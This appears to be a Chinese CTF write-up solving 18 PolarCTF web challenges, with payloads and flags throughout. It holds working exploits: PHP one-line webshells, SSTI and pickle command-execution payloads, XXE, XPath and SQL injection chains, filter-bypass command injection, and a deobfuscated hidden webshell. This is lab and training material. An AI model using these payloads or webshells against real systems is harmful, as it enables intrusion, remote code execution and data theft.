Web刷题之PolarDN(中等)

news2025/2/25 23:01:31

1.到底给不给flag呢

 代码审计

一道典型的php变量覆盖漏洞

相关知识

什么是变量覆盖漏洞

自定义的参数值替换原有变量值的情况称为变量覆盖漏洞

经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。


$$导致的变量覆盖问题

1.$$介绍
$$这种写法称为可变变量
一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。

<?php
$a = "hello";       // 将变量 $a 赋值为 "hello"
echo "$a";          // 输出: hello

$a = "world";       // 将变量 $a 改为 "world"
echo "$a";          // 输出: world

echo "$$a";         // 这里是变量变量语法。$$a 相当于 $world,意思是输出变量 $world 的值。
echo "$a ${$a}";    // 这是另一个变量变量的例子。${$a} 是通过 $a 的值作为变量名来获取变量的值。这里 $a 的值是 "world",所以 ${$a} 等同于 ${"world"},也就是输出变量 $world 的值(即 world)。

echo "$a $hello";   // 这里会输出 $a 的值(即 world),然后会尝试输出 $hello 变量的值。如果 $hello 变量未定义,则会输出空字符串。
?>

2.漏洞产生
使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。
举例

<?php
foreach ($_GET as $key => $value) {
${$key} = $value;
}
echo $a;
?>

get得到的数据$key和$value,关键第3行,${$key}用get传进来的$key做为新的变量,将get传进来的$value赋值给它。
get ?a=1 第3行回解析为$a=1。就造成了变量覆盖。

解题

需要get一个flag和post一个flag。因为isset那里面是&&连接,所有post是不用传参的。所以直接get传参一个flag。

先a=flag然后让flag=a。这样被解析之后,就是$a=$flag&$flag=$a。从而达到真正输出flag的作用。而不会用一个变量a把$flag=flag{xxxxxx}给覆盖。那么最后echo出来的就是$flag。

payload:

?a=flag&flag=a

flag{7c21614802acfb30b55697b3f5122be1}

2.写shell

 我们应该需要在filename这里面写入一个content以达到获取flag的效果。那么这就应该写入一句话木马,那么前面的exit()该如何越过成了问题。我去看了wp,发现可以使用base64解密的方式进行绕过。那么就将命令加密,并且前面加上任意一个字母进行分隔,payload:

?filename=php://filter/convert.base64-decode/resource=shell.php

content=aPD89QGV2YWwoJF9QT1NUWzFdKTs/Pg== 

 其中base64加密的内容:<?=@eval($_POST[1]);?>

然后访问/shell.php发现木马被读入,我们用蚁剑连接一下:

 flag{30c42ede8bc4b32e2ae125afaeebee6f}

3.注入

进题点一下User的选项然后抓包,发现了id=1的注入点。但是尝试了好久发现sql注入和ssti注入都是不行的。看了wp才知道是XPATH注入:

尝试一下XPATH注入万能钥匙,payload:

?id=']|//*|//*['

flag{6c6bb83d87d0fcc3cacb9ca45bc37599} 

4.某函数的复仇

由于怎么也想不到是哪个函数,我们直接去看了wp。发现是create_function()这个函数。他会直接执行这个创建的新函数。不过它需要一个闭合和一个注释。所以我们构造payload:

?root=;}system('ca\t /f*');/*

shaw=create_function

  • ;}:闭合create_function生成的匿名函数体。
  • //:注释后续可能的闭合字符,这里相当于把原本的}符号给注释掉,这样我们就执行了system('cat /flag')函数

flag{10be676ceed9b00b1c286de949790c37} 

 5.xxe

进题只有一个phpinfo的界面,尝试更改c参数但是没用。然后去看了眼wp,发现可以通过phpinfo查看版本,找到是xxe漏洞。用dirsearch扫一下目录,找到了/dom.php,进入访问:

然后就找到了报错信息,去找了一下xxe漏洞的攻击方式,然后根据wp构造payload:

<?xml version = "1.0" encoding="utf-8"?>
 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
 <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<name>&xxe;</name>

bp中需要将GET修改为POST方法,然后加上媒体类型信息:Content-Type: application/x-www-form-urlencoded,最后末尾添加需上传语句。

将得到的一串base64编码字符串解码

flag{7e97e8c4f9d6be35ae8500b9fb2cdd3e} 

 6.SSTI

测出SSTI ,参考网上的payload试了一下

payload:

{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}

{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

flag{74da457f9884bef24f271e377334399a}

SSTI常用payload:

1、任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
2、任意命令执行
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
3、任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4、任意命令执行
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
//x的含义是可以为任意字母,不仅仅限于x
5、任意命令执行
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
6、文件读取
{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
//x的含义是可以为任意字母,不仅仅限于x

7.unpickle

题目直接给出源码。

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)
        return user
    except:
        username = "Guest"

    return "Hello %s" % username

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

代码很明显,需要通过Cookie的user值进行接收传递并进行反序列化。

存在python的反序列化函数,可以用到__reduce__这个魔法方法(注意__reduce__方法是新式类(内置类)特有的)这一点和PHP中的__wakeup() 魔术方法类似,都是每当反序列化过程开始或者结束时 , 都会自动调用这个魔术方法,因此利用这个魔术方法执行任意命令获取flag。

构造POC:

import requests
import os
import pickle
import base64

class exp:
    def __reduce__(self):
        return (eval,("open('/flag','r').read()",))
    
a = exp()
payload = base64.b64encode(pickle.dumps(a))
print(base64.b64decode(payload))
print(payload)

然后得到的base64直接传参:

 flag{1cd20c1dbbed0fc7ab481b44006d469f}

8.BlackMagic

进题可以访问一个子域名,我们直接进去访问。

查看网页源代码看到了真正的源码 

需要我们输入一个$strTmp,GET和POST传参都可以

$strContent这个变量等于trim($strFlag,$strCharList)

删除空白字符串 trim(), ltrim(), rtrim() 分别用来删除 字符串首尾,字符串开头,字符串结尾的空白符。

trim(),ltrim(),rtrim()函数默认删除的字符:
符号      ASCII码         意义
“ ”            0x20            空格
“\t”           0x09           制表符
"\n"          0X0A          换行符
"\r"           0x0D          回车符
"\0"          0x00           空字符
"\x0B"      0x0B       纵向制表符

//可以使用带参数的trim()函数来删除开头或结尾的空白而不删除制表符
$record = " Fred\tFlintstone\t35\tWilma\t  \n";
$record = trim($record, " \r\n\0\x0B");
//此时record 值为:"Fred\tFlintstone\t35\tWilma\t"

那这里$strContent的值就是$strFlag变量删除\r回车符、\n换行符、\0空字符、\x0B纵向制表符之后的值:

%09xxxxx...xxxxx%09

我们输入payload:

?strTmp=%09xxxxx...xxxxx%09

flag{ab8aff2d0104e4f883a57880b260b761} 

9.反序列化 

看别人的wp都是ls页面直接回显flag,但我这不知道为什么不行,最后只有tac绝对路径和一句话木马连接蚁剑才能获得flag 

exp:

<?php

class example{
	public $handle;
}	
class process{
	public $pid;
}


$a = new example();
$b = new process();
$b -> pid = "system('tac /var/www/html/flag.php');";
$a -> handle =$b;
echo serialize($a);

?>

O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('tac /var/www/html/flag.php');";}} 

<?php
class example
{
    public $handle;
    function __construct(){
        $this->handle=new process();//实现第一个需求
    }
}
class process{
    public $pid;
    function __construct(){
        $this->pid='@eval($_POST["123"]);';//实现第二个需求
    }
}
$test=new example();
echo serialize($test);//输出序列化并当成data的值输入
?>
 

O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:21:"@eval($_POST["123"]);";}}

10. 找找shell

dirsearch扫描到一个目录shell.php

shell.txt:

<?php 
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
$OO0000=$O00OO0{7}.$O00OO0{13};
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
 ?>

其中的几个变量定义如下,我们将其一个一个输出看看都是什么效果。四个变量从上到下依次是:

$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");

url解码结果为:

$O00OO0=n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
$OO0000=$O00OO0{7}.$O00OO0{13};
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};

这几个变量分别对应

$O00O0O = base 
$O0OO00 = strtr
$OO0O00 = substr
$OO0000 = 52
$O00O0O. = 64_decode
拼接后的$O00O0O=base64_decode
$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));

将上面几个变量的值代入

$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.base64_decode($strtr($substr($O0O000,104),$substr($O0O000,52,52),$substr($O0O000,0,52))));

substr() 可以「截取」字符串。

语法

string substr( $str, start, length);

参数

  • $str :被截取的字符串。
  • start :开始截取的位置。
  • length :截取的长度。

strtr — 转换字符或替换字串

语法

​strtr(string $string, string $from, string $to): string

参数

  • string:待转换的 string。
  • from:要转成 to 的 string。
  • to:替换 from 的 string。

 写个脚本:

<?php
$O0O000 = "bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";

// 拆分字符串
$part3 = substr($O0O000, 104);     // 后52字符
$part2 = substr($O0O000, 52, 52);  // 中52字符
$part1 = substr($O0O000, 0, 52);   // 前52字符

// 字符替换
$replaced_str = strtr($part3, $part2, $part1);

// Base64解码
$decoded = base64_decode($replaced_str);

// 输出解码内容
echo "替换后的Base64字符串: " . $replaced_str . "\n";
echo "解码结果:\n" . $decoded . "\n";
?>

替换后的Base64字符串:PD9waHAgQGV2YWwoJF9QT1NUWyd1c2FtJ10pOyA/Pg==

解码结果:<?php @eval($_POST['usam']); ?>

我们直接拿去蚁剑连接之前扫到的/shell.php目录

flag{2591c98b70119fe624898b1e424b5e91}

11.再来ping一波啊

进题是一个要ping的文本框:

 

尝试了好多payload,手测需要的函数过滤了:ls、cat、tac、空格、index。那么我们用引号绕过或者反斜杠绕过。由于当前目录只有index.php,我们尝试读取根目录,发现"/"也被过滤了。那我们先读取index.php吧。用变量拼接绕过,payload:

127.0.0.1;a=inde;b=x.php;ca\t$IFS$a$b

查看源代码发现直接给出了flag

flag{ae5eb824ef87499f644c3f11a7176157} 

12.wu

很正常不过滤什么符号的无数字无字母rce: 

什么符号都没有过滤,那么我们用异或、取反、自增都是可以的,这里用的是取反: 

<?php 
$a=urlencode(~'system');
$b=urlencode(~'ls');
echo $a;
echo "</br>";

echo $b;
?>
输出:%8C%86%8C%8B%9A%92</br>%93%8C
?a=(~%8C%86%8C%8B%9A%92)(~93%8C);

<?php 
$a=urlencode(~'system');
$b=urlencode(~'cat zheshiflag.php');
echo $a;
echo "</br>";

echo $b;
?>
输出:%8C%86%8C%8B%9A%92</br>%9C%9E%8B%DF%85%97%9A%8C%97%96%99%93%9E%98%D1%8F%97%8F
payload:?a=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%85%97%9A%8C%97%96%99%93%9E%98%D1%8F%97%8F);

13.代码审计1

本题考察的是php原生类的寻找和利用,详情可见coleak师傅博客:CTF中常用的php原生类总结_ctf php代码-CSDN博客

源码中echo new $sys($xsx)可以看出是原生类的利用。我们发现这题是读取文件,所以用的是类SplFileObject,然后由于第一个if时xsx并没有赋值,所以第一个if是没用的。

这里我们先用Directorylterator类输出指定目录里面经过排序之后的第一个文件名。

?sys=DirectoryIterator&xsx=glob://f*

?sys=SplFileObject&xsx=flag.php

这个payload没读出来

SplFileObject类,只能读取文件的第一行内容,如果想要全部读取就需要用到foreach函数,但若题目中没有给出foreach函数的话,就要用伪协议读取文件的内容

?sys=SplFileObject&xsx=php://filter/read=convert.base64-encode/resource=flag.php

flag{289dff07669d7a23de0ef88d2f7129e7}

14.你的马呢?

 

无法上传php脚本

方法1:

发现它上传后缀之后,会说“后缀”恭喜你。那么考虑Apache双后缀绕过检测,payload:

一句话木马后缀名改为.php.jpg

一句话木马

GIF89a
<?=
@eval($_REQUEST[777]);
?>

方法2: (wp给的解法)

1.对一句话木马进行base64编码;

2.将php后缀改成jpg文件;

3.上传木马文件;

4.连接webshell,用php伪协议convert.base64-decode解码;

/index.php?file=php://filter/convert.base64-decode/resource=uploads/1.jpg

5.找出flag;

15.ezphp

看到爬虫直接访问robots.txt目录

 

存在三个目录,我们一个一个访问

file目录下存在一个file.php文件,根据给出的源码可知此处存在文件包含漏洞

uploads目录下存在/images目录和uploads.php页面

打开upload.php发现可以上传文件,结合刚才file.php中的文件上传漏洞,可以实现RCE

方法1:

利用upload.php上传后缀为合法后缀的一句话木马,内容如下:

GIF89a
<?=eval($_REQUEST[777]);?>

进入uploads/images查看

经测试web目录路径为:/var/www/ 利用文件包含连接一句话木马

URL:  

http://89f4e5b1-bcd6-4306-89a3-6387e8d866bc.www.polarctf.com:8090/file/file.php?filename=/var/www/uploads/images/yjh.jpg

 在/home/webuser找到flag

方法2:

利用Apache双后缀绕过检测

漏洞原理

多后缀名解析漏洞,常见于某些操作系统或网络服务中的文件扩展名处理机制,这种漏洞的本质在于,当文件具有多个后缀名(例如file.txt.php)时,系统或服务可能会错误地解析文件,具体到Apache服务器,它会从右到左解析文件后缀,当遇到不可识别的后缀继续向左解析,直到碰到可识别的后缀为止。

攻击场景复现

在Apache HTTPD中,攻击者可能利用此漏洞绕过上传文件后缀检测,通过上传名为xxx.php.jpg的文件,尽管文件看起来是一个图片文件,但在特定配置下,Apache会将其解析为PHP文件,从而允许攻击者执行恶意代码。

一句话木马后缀名改为.php.jpg然后直接上传

flag{a6e667c3194c7a60f7491d4c7e5b1161}

16.随机值

要满足两个随机值,可以暴力爆破,发包10000次应该够了。我们按题目预期来,使用变量引用来做这题。

EXP:

<?php

class Index{
    public $Polar1;
    public $Polar2;
    public $Night;
    public $Light;

    function getflag($flag){
        $Polar2 = rand(0,100);
        if($this->Polar1 === $this->Polar2){
            $Light = rand(0,100);
            if($this->Night === $this->Light){
                echo $flag;
            }
        }
        else{
            echo "Your wrong!!!";
        }
    }
} 

$a= new Index();
$a->Polar1=$a->Polar2;
$a->Night=$a->Light;
echo serialize($a);

?>

?sys=O:5:"Index":4:{s:6:"Polar1";N;s:6:"Polar2";N;s:5:"Night";N;s:5:"Light";N;}

flag{d81f9c1be2e08964bf9f24b15f0e4900} 

17.phpurl

 

aW5kZXgucGhwcwbase64解码后是index.phps

访问/index.phps路由。直接给了源码

由于浏览器会进行一次url解码,所以如果想要服务器端进行一次url解码,则必须对xxs进行两次url编码。

注意点:/index.phps只是源码泄露,传参在/路径。

flag{5caecd63b7dca4bcee15d262eb3af4f4}

18.search

该题需要读入用户输入的ID信息。

输入的ID值不同,回显的内容也各不相同。

猜测该题是从数据库中查询的数据,故该题考查的应该是sql注入知识。

测试sql注入

发现该题对一些关键字进行了过滤。尝试通过大小写混合的方式进行绕过

经过测试发现,该题还过滤了空格。利用/**/进行绕过。

成功绕过,这次报错的原因是因为字段数量不匹配。

成功回显。

payload:

1'order/**/by/**/6#			/*出现报错,说明共有5列*/
1'/**/uNion/**/sEleCt/**/1,2,3,4,5#			/*联合注入判断回显的位置*/
1'/**/uNion/**/sEleCt/**/1,database(),version(),4,5#			/*获取库名和版本号,库名为CTF,版本号为5.5.44-0ubuntu0.14.04.1-log*/
1'/**/uNion/**/sEleCt/**/1,group_concat(table_name),3,4,5/**/From/**/information_schema.tables/**/Where/**/table_schema='CTF'#			/*获取表名分别为Flag和Students*/
1'/**/uNion/**/sEleCt/**/1,group_concat(column_name),3,4,5/**/From/**/information_schema.columns/**/Where/**/table_schema='CTF'/**/and/**/table_name='Flag'#			/*获取字段名为Flag*/
1'/**/uNion/**/sEleCt/**/1,group_concat(Flag),3,4,5/**/From/**/Flag#		/*读取字段内容*/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2306057.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

学习笔记-250222

论文&#xff1a; Learning Hierarchical Prompt with Structured Linguistic Knowledge for Vision-Language Models 主要研究llm在图像分类中的能力&#xff0c;当提示输入目标类别时&#xff0c;llm能够生成相关的描述以及相应的结构化关系。 1.首先利用llm从普通的描述中获…

Unity游戏制作中的C#基础(1)界面操作基础

1.脚本有关注意事项 &#xff08;1&#xff09;.进入项目之后&#xff0c;一般创建一个文件夹Scripts用来存放c#脚本&#xff1b; &#xff08;2&#xff09;.在Scripts中创建脚本&#xff0c;双击脚本&#xff0c;进入VS编辑器&#xff0c;有如下结构&#xff1a; start&#…

为什么要将PDF转换为CSV?CSV是Excel吗?

在企业和数据管理的日常工作中&#xff0c;PDF文件和CSV文件承担着各自的任务。PDF通常用于传输和展示静态的文档&#xff0c;而CSV因其简洁、易操作的特性&#xff0c;广泛应用于数据存储和交换。如果需要从PDF中提取、分析或处理数据&#xff0c;转换为CSV格式可能是一个高效…

Android KMP初探

Android KMP初探 前言&#xff1a; 最近线上听了Kotlin官网举行的KMP会议&#xff0c;感觉听神奇的&#xff0c;于是就把官方demo下载下来尝试了一下&#xff0c;下载插件和所需要的依赖都用了很久&#xff0c;但是发现里面的代码很少&#xff0c;于是尝试自己手写了一下&…

网络安全之Web后端PHP

目录 一、PHP基础语法 1.PHP基础 &#xff08;1&#xff09;php的优点 &#xff08;2&#xff09;PhpStorm的优点 2.PHP基本语法 3.PHP变量 4.PHP运算符 二、PHP流控与数组 1.php流程控制语句以及循环 &#xff08;1&#xff09;if 语句 &#xff08;2&#xff09;if…

Redis——用户签到BitMap,UV统计

目录 BitMap 使用场景 1. 用户签到系统 2. 用户行为标记 3. 布隆过滤器&#xff08;Bloom Filter&#xff09; BitMap介绍 Redis中的使用 Redis功能示例 添加&#xff1a; 获取&#xff1a; 批量获取&#xff1a; java中实现 统计本月连续签到次数 UV统计 UV 统计…

pycharm技巧--鼠标滚轮放大或缩小 Pycharm 字体大小

1、鼠标滚轮调整字体 设置 Ctrl 鼠标滚轮调整字体大小 备注&#xff1a; 第一个是活动窗口&#xff0c;即缩放当前窗口 第二个是所有编辑器窗口&#xff0c;即缩放所有窗口的字体 2、插件 汉化包&#xff1a; Chinese Simplified 包

数字信任的底层逻辑:密码学核心技术与现实应用

安全和密码学 --The Missing Semester of Your CS Education 目录 熵与密码强度密码散列函数密钥体系 3.1 对称加密 3.2 非对称加密信任模型对比典型应用案例安全实践建议扩展练习杂项 密码学是构建数字信任的基石。 本文浅析密码学在现实工具中的应用&#xff0c;涵盖 1&…

全面理解-深拷贝与浅拷贝

在 C 中&#xff0c;深拷贝&#xff08;Deep Copy&#xff09; 和 浅拷贝&#xff08;Shallow Copy&#xff09; 是两种完全不同的对象拷贝策略&#xff0c;主要区别在于对指针和动态分配资源的处理方式。正确理解二者的区别是避免内存泄漏、悬空指针和程序崩溃的关键。 一、核…

Redis分布式锁故障处理:当Redis不可用时的应对策略

Redis分布式锁故障处理&#xff1a;当Redis不可用时的应对策略 在分布式系统中&#xff0c;Redis因其高性能和丰富的特性常被用于实现分布式锁。但当加锁过程中Redis服务不可用时&#xff0c;系统将面临严重挑战。本文将深入探讨这一问题&#xff0c;并提供多维度解决方案。 目…

WordPress平台如何接入Deepseek,有效提升网站流量

深夜改代码到崩溃&#xff1f;《2024全球CMS生态报告》揭露&#xff1a;78%的WordPress站长因API对接复杂&#xff0c;错失AI内容红利。本文实测「零代码接入Deepseek」的保姆级方案&#xff0c;配合147SEO的智能发布系统&#xff0c;让你用3个步骤实现日均50篇EEAT合规内容自动…

ROS ur10机械臂添加140夹爪全流程记录

ROS ur10机械臂添加140夹爪 系统版本&#xff1a;Ubuntu20.04 Ros版本&#xff1a;noetic Moveit版本&#xff1a;moveit-noetic 参考博客&#xff1a; ur3robotiq ft sensorrobotiq 2f 140配置rviz仿真环境_有末端力传感器的仿真环境-CSDN博客 UR5机械臂仿真实例&#xf…

FFMPEG编码容错处理解决办法之途径----升级库文件

在qt开发环境下接收网络数据&#xff0c;调用ffmpeg解码播放视频&#xff0c;出现闪屏现象&#xff0c;具体现象可以使用操作系统自带的ffplay播放器播放原始视频流可复现&#xff1b;而使用操作系统自带的mpv播放器播放视频则不会出现闪屏&#xff1b;闪屏时会报Could not fin…

uniapp h5端和app端 使用 turn.js

前提:添加页后,添加页与当前页会重叠在一起,不知道为什么,没有找到解决办法 1.h5端 <template><view class"container"><view id"flipbook"><view class"page page1">Page 1</view><view class"page pag…

【入门音视频】音视频基础知识

&#x1f308;前言&#x1f308; 这个系列在我学习过程中&#xff0c;对音视频知识归纳总结的笔记。因为音视频相关讲解非常稀少&#xff0c;所以我希望通过这个音视频系列&#xff0c;跟大家一起学习音视频&#xff0c;希望减少初学者在学习上的压力。同时希望也欢迎指出文章的…

数据结构☞泛型

一.基础定义与应用方向 1.定义&#xff1a; 一般的类和方法&#xff0c;只能使用具体的类型 : 要么是基本类型&#xff0c;要么是自定义的类。如果要编写可以 应用于多种类型 的代码&#xff0c;这种刻板的限制对代码的束缚就会很大。----- 来源《 Java 编程思想》对泛型的介…

hot100-二叉树

二叉树 二叉树递归 相当于这个的顺序来回调换 class Solution {private List<Integer> res new ArrayList<>();public List<Integer> inorderTraversal(TreeNode root) {if(root null)return res;inorderTraversal(root.left);res.add(root.val);inorde…

嵌入式项目:STM32刷卡指纹智能门禁系统

本文详细介绍基于STM32的刷卡指纹智能门禁系统。 获取资料/指导答疑/技术交流/选题/帮助&#xff0c;请点链接&#xff1a; https://gitee.com/zengzhaorong/share_contact/blob/master/stm32.txt 1 系统功能 1.1 功能概述 本系统由STM32硬件端&#xff08;下位机&#xff09;…

短剧小程序系统源码

短剧小程序系统源码 今天我要向大家介绍的是最新作品——短剧小程序系统源码。这不仅仅是一款简单的播放工具&#xff0c;它背后蕴含的强大功能能够帮助你的短剧业务实现质的飞跃&#xff01; 为什么说这款源码很厉害&#xff1f; 首先&#xff0c;在当今竞争激烈的市场环境…

C#中级教程(2)——走进 C# 面向对象编程:从基础到进阶的深度探索

一、为什么选择面向对象编程 在软件开发的演进过程中&#xff0c;随着程序规模和复杂度的不断增加&#xff0c;传统的编程方式逐渐暴露出局限性。面向对象编程应运而生&#xff0c;它就像是一位智慧的组织者&#xff0c;将程序中的功能进行模块化划分。每个模块各司其职&#x…